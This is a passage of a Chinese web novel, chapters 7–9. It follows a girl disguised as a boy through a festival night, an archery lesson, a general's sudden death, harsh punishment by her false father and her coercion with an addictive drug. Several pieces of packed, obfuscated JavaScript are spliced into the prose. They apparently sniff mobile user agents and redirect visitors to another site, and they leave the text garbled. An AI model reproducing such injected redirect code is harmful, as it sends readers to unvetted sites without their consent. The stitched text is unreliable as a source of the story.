0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763652|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏临先开了口:“夜色难行,你们又住在山中,不如今日在晏府歇脚,你若困了,我让人先送你回去,陈科,你困了吗?” 宋连赶忙摇头。 晏临一个响指,便有一侍卫不知从何处冒了出来,“先送这位小公子回府休息,收拾出一间客房来。” 临走前,晏临又去给蒋明川买了一根糖画人。 蒋明川也有些依依不舍,奈何实在睡意难消,向两人告别后便跟着那护卫走了。 少了吵吵闹闹的蒋明川,气氛顿时安静下来。此时夜色已深,路上行人少了许多。 “河上有光!”宋连忽然瞧见远远的河流那边隐隐发出微光,像聚集起来的萤火虫,定睛一看,便看出是一盏盏漂在河中的灯。 “是莲花灯,”晏临回道,“瞧瞧去。” 二人来到那边,河岸上正有小贩摆着摊子售卖,沿岸有不少人正点灯许愿,将写好的信阀放进灯中,再把灯轻轻送进水里,随着河流缓缓漂远,一条河道,几点星火,美之如画。 宋连还是第一次好好逛这京城,也对这新鲜玩意跃跃欲试。 晏临瞧出小童眼中的兴奋劲儿,去那小贩处买了两盏。 借着朦胧的月色和温和的烛火,少年认真地提笔在纸上写着,宋连思索片刻,下定决心地写下: 吃饱穿好,练好武功,不被人欺负! 见晏临写好正要往灯中放,宋连好奇问道:“你写的什么心愿呀?” “愿以此剑,护百姓平安。” 此时,烟花从天空中绽放,如满天星河倾泻而下,也洒落成水中的火树银花,二人的脸庞被这绚烂照亮,少年眼神坚定,像在许着一个对自己的承诺,女孩悄悄将写好的纸团揉进袖中,又郑重其事提笔写下: 做侠客豪杰,惩恶扬善! 两盏莲花灯缓缓推入河中,渐漂渐远。 “该回府了,”晏临自然地牵起宋连的手,“今天玩得很尽兴!” “我也是!” 两人正往回走着,忽然有一路边老人叫住晏临,宋连看去,漆黑的小摊子也没有点盏灯,似乎是个瞎子。 “公子留步!”,那老人朝二人招招手,“老夫见公子骨相清贵,是文曲傍身,武库藏锋的命格呐!奈何不日会有青鸟坠羽之劫,不过公子吉人天相,能够化险为夷,只是船帆尤在,却难回旧时渡口。好在公子良缘早遇,但要修成正果,必得先窥得天机,难矣难矣!” 还未等晏临发话,宋连先抢先疑问:“你不是个瞎子吗?说些胡话!” 那老人一听便吹胡子瞪眼,斥道:“老夫眼瞎心却不盲!只要人往老夫面前一站!紫薇照命老夫识得!狸猫换太子老夫也识得!” 晏临扯住宋连的手,不让她上前理论。只从袖口掏出些钱,放在老人面前,说道:“天色已晚,先生早些回家吧。” 两人走远,宋连还在气呼呼埋怨:“就不该给他钱!你的生辰他讲那些胡话!”,她对那老人说的劫难很是在意,一看就是来骗钱消灾的老骗子臭瞎子!宋连恨恨地想着。 “过耳忘了便罢。”反倒是晏临宽慰其身旁这个气鼓鼓的小童。 到了晏府,府内静悄悄的,晏临召人去祖父那里禀话,说自己已回来了,现在便要睡下,不过去打搅祖父歇息了。 “天晚了,也不好叫下人们再收拾出一间客房,今夜你睡我床上,我去打个地铺便好。”晏临对宋连说道。 宋连听了一阵慌乱,最后竟然也没开口拒绝。 7. 美梦易碎 夜已深了,晏临也没唤下人伺候,带着宋连径直来到寝房,点上两盏灯。宋连忍不住左看右看,比之晏府的名声,这房内摆设倒算不上富贵,只是整齐雅致,绿植颇多,似乎还熏了些香,闻着有些淡淡的奶味,这倒是让宋连有些惊异,她本以为晏临若熏香也该是沉香、竹香之类的。 晏临让她先自己随意歇着,他去找找有没有自己小时候的寝衣。 宋连虽知在别人房中乱走乱看有些失礼,但她还是耐不住好奇地止不住脚步,晏临不是在意这些虚头八脑礼数的人,她不禁给自己开脱,时不时还拿手指摸摸那房内的花草。 “是茉莉,你喜欢明日可以带走一盆。” “我不会养花,别跟着我糟蹋了,”宋连倒也不是对细枝嫩叶的花感兴趣,只是对晏临房内摆设均有些好奇罢了,又问,“你回来也不见有人主动过来服侍一二。” “他们惫懒,由着去吧,也没甚好叫人过来的。”晏临嘴上责怪,语气倒是笑着。 晏临翻找了一会,拿出一件粉色的衣裳来,朝着宋连比划两下,随即满意道:“这件大小合适,你来试试。” 瞧着宋连接过衣服,晏临拢起袖口,出门打水洗漱了。 “这粉色倒是嫩的很,也不知道晏临小时候穿上什么样子,肯定也是顶顶可爱。”宋连在心里嘀嘀咕咕,毕竟是在外不便,她麻利地将衣服换好。这衣服闻着还是一股奶味,宋连揪着领子嗅了嗅。 不多时,晏临便端着打好的水进来了,“你先来洗吧,我去外面浇个凉醒醒酒。” 待宋连抹了把脸躺上床,又是抚了那寝被枕巾好一会,晏临才回来。 屋外的月色还很亮,细细的水珠从少年白皙的脖颈流下,直流进宽大的襟袍内,酒后脸上的微红已经消下,更显得他肌骨如玉如冰,连睫毛上都挂着水,又长又翘,他似乎以为宋连睡着了,轻手轻脚地走过来,掀开地上的寝被躺下。 宋连赶紧闭上了眼。 * “皎皎,还没醒呢,过了十四生辰倒是贪觉了。”屋外响起唤人的声音。 宋连勉强睁开一条缝,迷迷糊糊觉得这声音似乎是晏老将军的,原以为自己初次睡在晏临这该激动的难以入眠,没成想昨晚倒头梦周公了,一睁眼似乎已是日上三竿。 依稀听得皎皎,皎皎是谁? 只听门吱扭一声,宋连偏头看去,见是晏临在和祖父解释昨日自己留宿的事,以为屋内人一直没醒,他轻声说着。地铺上还摊开一本书,想来是他早晨醒来看了许久了。 晏老将军走了进来,正巧与睁开眼的宋连对视,宋连赶忙坐起身来。 “是这位小童!我记得,叫陈科是吧,晏临赶快带人洗漱完去用早膳了,另一位小童醒来许久了正用着呢。”晏老将军乐呵呵的,瞧着没有一点架子。 待他走后,宋连悄悄问道,“皎皎是你吗?” 晏临脸上迅速染上一抹粉色,“是我乳名,”他声音又轻又快,“你别给旁人说了去,都说了大了不许叫了。” 宋连忍不住一阵乐呵,又觉得他们祖孙二人确实情深。 * “怎么见你格外喜欢这小孩,往日不见你爱哄堂弟表妹们。”待宋连还在房中洗漱换衣,见晏临关了房门来到廊上,晏老将军不免好奇。 “他很有趣,”晏临心里琢磨了一会,也不大能说出个所以然来,只觉得陈科和普通孩子并不相同,又补充道,“脾性也合。” 祖孙俩又在廊中聊了一阵,无外乎是晏临学业和武艺近日来又大有进益、傍晚是否要加一道樱桃甜点的事,说罢,晏老将军有事外出便领着随从出府了。 等宋连走出房间,便看见晏临倚在廊中柱子上,低着头,手很灵巧地在编草环,身着光滑如水的青绿色云锦长衫,一根同色系带扎起高高的马尾,九月余热未全散去,好在有些凉风习习吹来,少年的发丝也和丝带一起轻轻飘扬,日光在他身旁染上一圈温暖的光晕,别有一番飒爽之态。 见宋连出来,晏临笑着将草环随手放下,“走吧,估计明川都要用完早膳了。” 今日早膳并不设在屋内,反倒跟着晏临在庭院中穿来穿去,自从昨夜与晏临共游,又见了他醉酒之态,宋连觉得二人关系亲近许多,不似第一次还略有些拘束。今日天气又好,宋连心情雀跃,一边脚步轻快,像要忍不住蹦蹦跳跳,又一边好奇地四处张望,只觉得这侯府建造得古朴雅致,生机盎然。 来到一处亭子前,这亭子两旁皆种着高大的槐树,树叶茂密如盖,很是阴凉适宜,亭前一汪小潭,几尾色彩绚丽的鱼儿游得悠闲自在。 “你们来了!”蒋明川坐在亭下的石桌边,满嘴塞得鼓鼓囊囊,见两人前来,才放下勺,两手兴奋挥舞着打着招呼。 “小科!快来尝尝这道粥,很鲜呢。”蒋明川站起身来盛来一碗端到宋连面前。 “是参丝鸡茸粥,的确不错,”晏临笑眯眯道,“饭后我带你们去练会箭吧。” 二人当即表示非常赞同。 宋连吃了一会,随口问道:“怎么从没见过你父亲,若是在府,可要打个招呼吧。” 晏临筷子微顿,转瞬恢复了自然神色:“他不常在家,不必在意,尝尝这个。”他给蒋明川、宋连二人盘中各夹了一块枣泥酥饼。 见此,宋连也不会再追问,和蒋明川快快吃完,只想着要去射箭。 待用完饭,晏临招招手,一个侍卫打扮的人走上前,似是昨日送蒋明川回府的那位,“逍墨,去将箭亭收拾一下,取两把我小时候的弓。” 逍墨领命而去,脚程飞快。 “我们可以慢慢散步过去,消消食。”晏临转头对二人说道。 一路上三人结伴,蒋宋二人又是一阵眼花缭乱,后院假山黄石重峦叠嶂,又不知从哪里引来水流在石壁上潺潺流下叮咚作响,假山之下河道蜿蜒,水波清澈,水底铺满五彩鹅卵石,阳光洒下,颇有意趣,另有花树成片,垂柳蘸波,闻着亦有淡淡生香。 不多时,便来到了箭亭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763653|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晏临递给二人各自一把弓,叫二人侧立站直。 “右手拉弓,虎口抵在下颌,左手搭箭持弓。” “不要向后倒腰,保持直立。”晏临拍拍蒋明川的背。 “射箭时瞄准目标,一旦看准,不要犹豫,即刻放手。”晏临在二人身后来回看着。 “啪!”宋连迫不及待放出了第一支箭,只见箭还未射到靶便下落了。 晏临从背后搭上宋连的胳膊,他一手把着宋连左手,一手握紧宋连右手向后拉弓,“拉到这个地方才行,先试试保持住。” 宋连头恰好靠在晏临前胸,又闻见了衣襟上似有若无的奶香,少年指节处的薄茧微微蹭着女孩手背,掌心的热度紧紧包裹着她的双手,顿时有些紧张,连呼吸都变得更轻更慢了。 “不必紧张,初次射箭脱靶都是正常的。”晏临似乎察觉到她身体微僵,只当是小孩初次失败有些尴尬不知所措罢了。 宋连努力聚精会神,她眼睛微微一瞄,这个距离在她眼中不成问题,很轻易便对准了靶心,又一声啪,箭堪堪射中了中环。 晏临的手松开,那包裹住宋连全身的热度顿时散开,背后的香气也飘远了,“多练习就好了,是力量的问题。”晏临又过去指导蒋明川了。 宋连赶紧甩甩头,重新搭箭拉起了弓。 握住弓的那一刻,宋连心头涌起一种奇异的感觉。 那日吴管家滚烫的血液飞溅到宋连手上时,她感觉到的是短刀的狠厉辛辣,看着白皙手指上醒目的血点子,就有亲手报复往日欺凌自己之人的畅快,让人不禁浑身战栗。 而箭,作为远距离的武器,宋连感觉到的是作为猎人的高高在上,仿佛此刻她不再是任人宰割的女奴,也不是提心吊胆的骗子,眯着一只眼时,仿佛端起了睥睨的姿态,一种对猎物的势在必得。 握着弓的感觉与短刀一样,令人上瘾。 日头渐高,二人又练了一个时辰,休沐的时间也要结束,需要快快上山了。临走前,晏临将弓赠与二人,又拿来好些糕点让他们带回去吃,叫逍墨备好车送他们到山脚下。 * 上山时二人还意犹未尽,尤其是蒋明川,简直是上蹿下跳,眉飞色舞,正在编排如何和老魏炫耀,宋连当然也是雀跃极了,她临走前的最后一箭终于射中了内圈,她不禁为最后晏临的夸奖而感到有些骄傲,此刻仍在不断回味。 假以时日,会有一个响当当的神箭手宋连的名号出现!她美滋滋想着,暂且将作为“陈科”的烦恼丢掉。 日头明媚,草木葱郁,饭食管够,好友在侧,武器在手,日子从未如此惬意平静,宋连头一次如此陶醉在暖和的阳光下,像飘在云端,幸福的甚至有些虚妄。 这晚睡去时宋连仍这样想着。 只是美梦的确短暂易碎,现实总是给人当头一棒,在人感觉生活如此美满时情形总会急转直下。 第二日宋连清早醒来,便听见了楚教头口中的噩耗,昨夜晏老将军竟暴毙在府中。 8. 又是逼迫 广平侯猝然离世,尤其是在立了平乱蚩蛮的大功之后,离奇地、突然地横遭此祸,皇帝命人彻查,可不管派出了多少太医和仵作,偌大的侯府不断有人进进出出,依然只有一个结论:侯爷老了,征战多年,恐是力尽心悸而死。 古往今来,倒确是不乏有此等令人叹息的憾事。 于是皇帝下令不再查下去,恐扰了将军安灵。命停灵二十七日,追封谥号“武穆”,百官吊唁,又亲遣使官致祭,允了侯位世袭,赐葬地,立道碑。 但宋连不能相信,她明明记得那天上午晏老将军还慈爱地向她打招呼,看起来身体如此硬朗,还会叫晏临乳名,说他贪觉,祖父突然离世,那晏临…… 晏临也不肯相信,他头一次完全失了神,那天晚饭上,祖父还笑他十四岁的男孩如此爱吃姑娘般甜腻的吃食,直到吹灯歇下,也一同往日。但是半夜,他却听见了屋外小厮的呼喊,说着什么侯爷去了。 哪家的侯爷,侯爷怎么会去了? 他跌跌撞撞,也不知是如何到了祖父门前,已是一片仆从跪地哭号,他扒开了那些人,却被门口的父亲拦住,素日不爱宿在家里的父亲,如今倒是鼻涕一把泪一把地搂住他,说太医已来,不要进去添乱,父亲还用衣袖擦拭着自己满脸的泪水,又想去晏临脸上擦擦,却发现晏临根本没流泪,也没陪他演一出父子情深。 晏临看也未看父亲一眼,他定定地看着房内烛火通明,一个又一个太医进去检查着祖父的舌苔,瞳孔,手足……他看不下去了,光晕一圈一圈像要昏晕了他的双眼,他双腿失了力气几乎要无力支撑,双手却依然拼命地扒开父亲横在门前的身体。 他要去看看祖父,那个从小抱着他骑马射箭,教他打拳练武的祖父,一边笑弄他爱吃甜食一边不忘买回家的祖父,那个屡次胜仗归来总会豪气地将铠甲扔向他让他接着的祖父。如今怎么会呆呆地,安静地,连自己来了也无法抬头再看向自己一眼,再唤自己一声“皎皎”…… 晏父一使眼色,一个侍卫手风一劈便将毫无防备的晏临劈晕。“带少爷回房。” * 广平侯出殡,六十四人抬棺。 宋连终于熬到了休沐日,飞快地蹿下了山,向楚教头骗说家父有事提前告假,早下山了一个时辰才避开了陈老爷派来的车夫和小厮。祖父出殡,晏临不会不在,她得看看他怎么样了。 灵柩途经的街道上,漫天纸钱如雪,百姓无一不肃穆,望着那只队伍一步步走来。 宋连挤上前去,她没看见晏临。 她的眼睛如何会错,她在那些人里看了一遍又一遍,却没看见那张脸。 “少爷,您该回府了。”宋连背后响起小厮的声音,那声音低沉,她却听出了一丝威胁,“回去晚了,老爷会不高兴的。” 宋连扭过头去忿忿一蹬,又转回来最后看了一遍这白衣素缟的队伍里确实没有晏临,随即跺了跺脚上了陈府马车。 * 宋连一进到府中,几乎是被押着入了前厅,陈老爷也坐定在主位上,掀开茶盖悠闲地吹了口气,眼睛也没往宋连这里看一下。 咣一声,宋连两个膝盖窝被人从背后猛地一击,直接跪倒在地。 陈老爷已知宋连那滑不溜手的能耐,派去接宋连的都是身强体壮有拳脚功夫的男子,两个男人一左一右架住宋连肩膀,八岁的孩子一动也不能动。 “你能耐了,攀上晏家小公子,”陈老爷低头抿了口茶,“还学会出去摆威风了。” “我不知道你说的什么!”宋连怒目。 “李昆,你知道了吧,”陈老爷终于抬眼,“我好吃好喝供你做陈家少爷,是为了进缄默司光耀门楣,不是放一条狗崽子出去咬人。” “家法。”陈老爷朝旁边小厮令道。 那人手脚麻利地搬来了长凳子,和一柄长木板子。 “你是自己趴上去,还是我请人给你抬上去?” “你自己想想,如果你不让我安心,陈府是断断容不得你这个隐患。” 陈老爷语气也不急躁,他吃定了宋连反抗不得。 山里的日子过久了,都要忘了这些事。自己哪是什么真正无忧无虑的少爷,之所以能活着,还是陈老爷瞧上了缄默司的声望,而自己不过是被赶鸭子上架背上扛着欺君之罪的小小孩童。 宋连跌下了云端。 短暂的幸福像是上天给她开的小玩笑,用一颗糖引诱她、吊着她继续熬过不知如何才能停歇的苦难。 但宋连很快就回过了神,既此时无法躲过,那便不必徒劳,“打在屁股上不行!上了山如何瞒着别人自己涂抹伤口?!” 陈老爷倒是被这话稍稍点醒,他是想用能进缄默司的儿子去获得“那位”的支持,这事刚牵上线儿,自是不能此时出现披露,今天此举只为压制住这头小狼,叫她安生些乖乖听话,既如此,他咧开嘴笑道,“那便掌嘴二十,不许吃饭,跪到明日中午!” 说罢,只留下两人看顾宋连,其余人随着陈老爷一并走了。 “少爷,得罪了。”面前的男人扬起巴掌狠狠甩在了宋连脸上!登时,宋连尝到了嘴角的血腥气,半边脸火辣辣得几乎失去知觉。 她闷不做声地死死咬紧牙关,她还不知道该怎样推倒眼前的大山,但绝不允许自己在这里掉下一滴眼泪! 于是她倔强地抬着头,两只眼睛紧紧盯着那人的脸。一点一点,仔细地看从挥掌时竖起来的眉毛到用起力来脸上甩动的肉,她都要自己记得。 总会有一天她能有能力摆脱这里,可以用箭、用刀、用拳头通通报复回去! 这是她昏倒在清晨第一缕阳光洒下时的最后一个念头。 这天,她是带着陈府的药膏,陈老爷的警告和一脸巴掌印,红肿的膝盖,无力的双腿几步一挪爬上山的。 陈老爷要用掌掴挫磨侮辱她,再用满脸触目惊心的血痕碾碎她在这儿的体面,要她时时刻刻别忘记自己究竟是什么身份。 要她别妄想之前那短暂存在过的,犹如泡沫一般的平和宁静。 临走前,陈老爷还说,晏临得了重病,已被其父送到城外疗养,别想借晏小公子高枝脱离陈府。 等她这副样子出现在缄默司,可把蒋明川吓了一大跳,他道不过撒了个慌,早下山片刻,这陈父治家怎如此之严,一连几日忙前忙后帮宋连提水打饭,像个生怕自己娃娃磕着碰着的老婆子,宋连有时还想,他还真像有个哥哥样了。 旁人觉得这是陈府家丑,只装作没看见罢了,也不会多加询问,除了老魏,他本懂医术,摘了好些草药每日磨碎给宋连敷上,一边叹气:“真是作孽,犯了什么错,罚得忒重!” 楚教头得了陈老爷的信儿,知道是宋连扯谎告假,以后下山只会愈发艰难,陈府不允许自己再有脱离掌控的机会。 这次再回到缄默司,与初次前来的雀跃已大不相同。不住在陈府又如何,那双大手仍然密不透风地桎梏着自己。 宋连心头沉甸甸的,话也更少。她还太小,拨不开前路迷雾,只能一个劲儿地为自己鼓气,心道哪个大侠早年会是一帆风顺。想到这,宋连使刀便愈发凶狠。 至于晏临,她想,侯府如此能耐,小公子生个病,应当很快便可大好了。宋连没精力再去思索这些,只有时在握住那把弓时恍若闻见那人残留的淡淡香味,或是晚上偶尔抬头望天看见挂在树梢上的月亮,也会想起“皎皎”。 不过月盈必亏,就如同这手中残香,几阵风吹便散了。 * 树叶一黄一落便是一年,山中溪流的冰再破过几次,按照陈科的年纪来看,宋连快要十一了。 她这几日发愁得很,蒋明川已到了变声期,破锣嗓子一大早说话像打鸣,宋连每次都忍不住捂上他的嘴,那人就会贴着脸故意嘻嘻哈哈更加说个没完。 但蒋明川有一句话还是引起了宋连注意,“你也迟早有这一天的,小科!” 趁着蒋明川有时不在,宋连鬼鬼祟祟找个小角落偷偷压低声音,“喂,”不行,听着还是不够男生,“喂,”宋连扯扯嗓子醒醒喉咙尝试许多次,怎么就发不出来那种打鸣腔? 女孩来回踱步,她快要到年纪了,胸部也会变的,她前个晚上睡觉还悄悄用手捏了捏,感觉里面有个小核,吓得她赶紧躺平,再轻轻把手放上去,长松一口气,目前还是平的。再者说,癸水总要来的,还是要提早做了准备,万一哪天突然造访,那自己如何开脱。 她还是得将此事回府和陈老爷讲,让他拿个章程,宋连不解气地猛踢树干。 自打她进了缄默司,原本沉寂的陈府门庭变得颇为热闹,这两年来访宾客不在少数,人人都道二少爷有能耐,陈老爷是有福之人,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大考三年一办,成年且在学堂修满三年者才能参加,大考之后会正式授予官身,算起来宋连十八岁那年便要参加了。 这确实是一个很有诱惑力的条件。 “你怎么保证你说的话是真的?”宋连目光灼灼。 “我已升了官,有何理由捆住你留在京城,给陈家留下祸患?” “你既已经达成目的,怎么能保证这药不是毒害我的?”宋连咄咄逼问,她太需要有个理由令她可以信服,若能真正得到自由,大考之后,应该是海阔天空。 陈府压迫之仇她必报,可是自由之身她也同样向往。 心脏猛烈跳着,血液几乎立刻就奔腾起来,她想她比陈老爷还希望可以说出一个说服她的理由。 陈老爷解开药包,二话不说取出药丸和水吞咽。 宋连瞧得真切,只等他喉结微动,那药丸已经下肚,才又开口问道:“若是有慢性毒?”她话本里瞧到过,一日两日不致命,但万一日子久了,悄无声息地毒发,对于陈老爷而言岂不是省事。 “哼,不信便不要。”陈老爷转身便要往门外走。 宋连一把夺回。 她没有机会月月去医馆拿这种药,更不能叫人对她有了印象起了疑心,这事又绝不能对老魏或是蒋明川坦白。 这可是欺君之罪,她是独木孤舟,无人可依。 若陈老爷能给,这药又无不妥,那是最好的选择。 “条件是我去当陈老太爷的孝孙?”宋连开口,指甲掐进掌心,这不是供人选择的商讨,仍是逼迫。 “是。”陈老爷头也不回。 于是宋连穿上孝衣跪在陈老太爷灵位前守了十日的灵,这比掌嘴更令她沉痛,令她自己厌弃不已。 当她得到许可离开时,眼前眩晕一片。 可不论如何,日子总是要过下去,宋连恨不得明日自己便十八岁,可恨岁月漫长。 * “如何?”陈老爷卧在躺椅上,闭着眼问道。 “二少爷到了山下却未上山,过了一个时辰换了身衣服裹得严严实实去了医馆。”派去送宋连回缄默司的车夫弯腰回道。 “嗯,”陈老爷随手摸了一串铜钱,“赏你的,下去吧。” 车夫谢赏后出了门,陈老爷偏头继续假寐着。 他就是要特意空出一点时间差送她回去,好给个机会消了她的疑心,可知这药中之物有多难得,寻常医馆岂能验出不对。 9. 眼线任务 四更天,坊门紧闭,全城静默。 城中一角,树的枝杈长得极为茂密,盖在一处房檐之上,也正藏下两个身着夜行服的人,此刻他们正敛了声息伏在屋顶。 身材高大魁梧的那人小声开口:“都知道他是谁了,咱们怎么不白天直接冲到他铺子里逮他。” 另一位身量较小些的人冷着脸头也不回:“人太多,不爱被人看。” “啧,也是,什么活啊,一个去义庄别人坟里偷东西变卖的家伙,大张旗鼓地抓去叫别人看戏。” 见那人一动不动也不回复,高个子又凑上前去:“很困欸,不聊天真的很无聊。” 下面一扇住户的门突然“吱扭”一声,开了个小角,里面伸出来一颗男人的头小心地朝左右看去,眼见没人又悄悄伸出来一只脚。 “人来了,准备。”小个子沉声说。 屋顶瓦片滑溜,二人身子却稳稳当当,一点声响也不曾发出。 那男人终于全身都走了出来,还背个行囊,又在街上四处张望,然后突然下定决心,朝西边快步走去。 “咻”一只箭穿风而过,正好擦着背包男人的鞋尖。 “啊啊啊”那男人大惊失色,连忙向四周看去,然后快速躲闪到街道一旁一处非常窄□□仄的巷子里,发了疯似的奔跑。 小个子拿着弓,在屋顶如履平地,身轻如燕,快速向那背包男人追去,边追边射箭,每一箭都射在男人下一步的脚尖处。 高个子从另一面包抄,此刻他从屋顶落下,正落在男人面前。 “多大点事,跑什么跑。“高个子还笑眯眯朝男人打个招呼,一手拍在男人此刻颤抖的肩上。 “小科你也是,爱吓唬人,直接擒住就行了,还射箭。”高个子又朝这会不紧不慢赶来的小个子讲话。 “移动目标,适合练箭。”小个子一抬手将弓收回。 这二人正是宋连与蒋明川,楚教头说人贵在实战,给尚在学堂的异禀者们多多少少都接些衙门中人都不爱干的鸡零狗碎小活,从宋连十五岁起到如今三年过去,这也是她第十一个活了。 “你们,”那男人话都说不稳,“你们是什么人?” “抓你的自然是官府的人,偷死人东西,你可真磕碜。”蒋明川一把将男人两臂压在背后。 “官,官爷,我就偷些镯子、发簪什么的,别的,别的我真什么都没拿啊官爷,绕我一命,我家中有八十老母啊。”那男人脸上吓得竟还有两串眼泪。 “别的?”宋连听这话似乎不同寻常,随即拿把短刀抵在男人咽喉,“老实交代。” “别的我什么都不知道,什么都不知道!”男人似乎觉得自己一时慌乱之下说漏了嘴,这会子准备打死不认。 宋连正打算刀再深一分,恐吓一下男人。 突然!男人额头出了一个血洞,一只利镖直接刺穿他的头颅! 宋连立刻循着那暗器的方向望去,夜色深沉,微风拂去,树影微动,宋连眼睛用力看去,只觉有一片茂密葱郁的树叶晃动的方向与风向略有不同,树后面藏有一人! “追!” 宋连和蒋明川分别向左右两道一跃而起,拔腿便追。 这黑衣人有几分能耐,能在自己和蒋明川两人眼下潜行,二人还什么也没察觉。而且,他要堵住那个男人嘴巴,这里面必定还有其他事!宋连脚步飞快,这些年她的轻功已大有进益。 宋连朝另一边追去的蒋明川递了个眼神,他立刻心领神会。 和之前每次一样,宋连负责进攻,扰乱敌人逃跑路线,蒋明川负责暗追,从另一头快速猛冲,绕道至敌人身后,两人夹击的老招数了。 “咻!咻!咻!”宋连三箭齐发,根根射向那男子腿部。 还是得留个活口严审。 那男人倒也敏锐,凭着声音也将箭都躲下,还从袖口向后洒出一把利器,不过这倒难为不了宋连,暗夜之中她的眼睛也炯炯发光。 得想个法子。 宋连看到了前面不远有处挺高的酒楼,楼顶之上正插着一面酒旗。 说一不二,宋连连蹬几步,几乎垂直跃上酒楼墙壁,又在墙上连行数步,一把握住酒旗,将那旗杆生生掰弯,调整方向后,借着回弹的力气,宋连顺势一蹬,竟将身子直直往外抛向空中! 短短一瞬,宋连落到了黑衣人身后! 一处手刀直直劈下,另一手握刀,捅向那人后腰! 黑衣人立刻一个翻身,再次从袖口洒出一把细针,想要逼退宋连。 宋连拧腰闪避,一个滑铲,飞速冲向那人脚边,另一边,蒋明川也从那人背后赶到,拔剑出鞘。 宋连迅速起身,一个翻腕扭肘控住那人左手,又一个抬胯攻膝,狠狠踢向那人膝盖后窝,使得那人一时招架不得,欲向前跪去,蒋明川顺势扭住那人右手,将剑抵在那人后脖上。 “什么人?”宋连厉声斥道。 那人什么话也没说,突然向下低头,宋连只见他脸颊微动,“不好!他吞毒!” 蒋明川立刻掐上那人脖颈,迫使他仰头张嘴,可这毒烈的很,那人嘴中已涌出一大股鲜血,很快就垂下头没了生息。 二人面面相觑,这还是第一次遇见意料之外的诡异事。 “抬去官府吧,快五更天了。” * 二人将这事一五一十告知府衙后,再出门街上已是熙熙攘攘,不少小贩正在叫卖。 “你不觉得蹊跷吗?棺材里偷东西变卖,赃物被人发现,这事说小也小,可那人的反应太过激烈,”宋连若有所思,“他的话也很奇怪,还突然有人杀了他,像要封口。” “他似乎从一开始怕的就另有其人。”她边下台阶边说道。 “诶呀,再有蹊跷也是衙门的事了,咱们不是已经告诉他们了吗。”蒋明川买了一笼包子,拉着宋连坐下。 “多吃些,小时候你我还差不多高呢,现在倒是比我矮了一大截。”蒋明川夹了好几块肉包放到宋连碗中。 “下个月可就是大考了,可说好了,你我都要去玄武卫。”蒋明川伸出小指想要拉钩。 宋连拿着拳头朝他碰碰,“不去玄武卫还能去哪。” “这就对了!我们大男儿就要上战杀敌!你我在一起还能有个照应,”蒋明川低头喝了口汤,继续说,“要不一下子和你分开,太不习惯了,小科,你也舍不得我吧。” “吃你的饭。我肯定会去玄武卫。”宋连下午又要回陈府了,这会心情有些烦躁。 在陈老太爷棺前的那一跪,彻底将她的狠戾全部藏在心中,面上却愈发乖觉。四年前她当着陈府所有人的面处置了负责接送她的车夫,罪名是偷盗少爷财物,不过赃物是她偷偷塞的,罪名是她编的,谁让那人见风使舵,专将她的一举一动添油加醋说与陈老爷。 她知道下人不过听令办事,真正的矛头该对准谁。但若是有心掐架,到底她面上也是陈家少爷,决不轻饶,也好杀鸡儆猴,别叫个个都当她是好拿捏的! 新来的车夫便恭顺许多,只埋头干好分内事。 两年前,陈老爷准许她自由往返,不必派人盯着了。 “你也是,每次休沐都不开心,和父母难得相处一天,有什么矛盾说开就好了啊,我是离家太远有家难回。”蒋明川一边吃一边嘴也不停歇,宋连没再接话。 * 宋连走进陈府,衣裳上还残留着早晨那黑衣人的血,懒得换,能恶心一下陈老爷也是好的。 陈老爷正坐在主位,桌上放着两袋药。 宋连进屋一把抓过药袋转身便走。 “站住!见到为父就这个态度吗?”陈老爷背后发话,又拔高声音叫了句,“陈——科。” 宋连顿住脚步,这些年陈老爷一面假惺惺自称为父,警告她不要忘记身份,一面朝她问东问西,都是些缄默司的事,她总是半真半假糊弄过去,拿着药包走人完事。 “坐下,这次有正事。” “有事快说。”宋连只想快快上山,下个月大考,她一定要去玄武卫,离开京城。 “大考之后,”陈老爷眼瞧宋连此时站定,又慢慢说道,“你要进入风宪台。” 宋连猛地抬头,“为什么!” 缄默司下设三个部门,玄武卫充入军队,风宪台监察百官,天狱司断疑难案,大考之后,由三个部门指挥使亲自选入。 宋连重武,进入玄武卫几乎板上钉钉。 “你也知道,为父近些年水涨船高,有个儿子在风宪台盯着比较好。” “再说,晏临新官上任三把火,整出什么大动静烧住陈府,你也好不了。” 晏临? “哪个晏临?”宋连盯着陈老爷问道。 “哼,还有哪个晏临,晏家那个晏临,又回了京,被圣上谕旨调去缄默司风宪台,再过两周就要上任了。” “陈科,你也懂点事,帮着陈家也是帮着你自己 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下一秒,刚才还在门口的宋连已经冲到陈老爷面前,一把刀刃抵在陈老爷咽喉,“我会杀了你。”宋连的声音几乎是从喉咙里挤出来。 “哈哈哈哈,”刀尖抵的地方已经见了血,陈老爷却诡异地发出几声怪笑,“这药啊,是有瘾的,算起来你也喝了七八年了,戒不掉了,你可以试试看。” 陈老爷浑浊的、带着黄色沉积的眼睛直勾勾地看着面前几乎快要发疯的宋连。 砍下它!挖掉它!碾碎它! 愤怒已经不可抑制地想要涌出来,把宋连淹没,再吞噬。 宋连胃里已是翻江倒海,恶心得快要吐出来。 残存的理智强行回笼咽下那份在身体里狂暴游走的怒气,刀咣当一下落了地,陈老爷满是意料之内的得意,临走前将一沓纸拍在宋连胸前,“会有信鸽找你。”又摸了摸宋连的头,说她长高了,长大了,是令他骄傲的好儿子。 走出门去的宋连只觉得天旋地转,白花花的太阳似乎是要把她烤熟、烤成灰烬、烤得无影无踪。 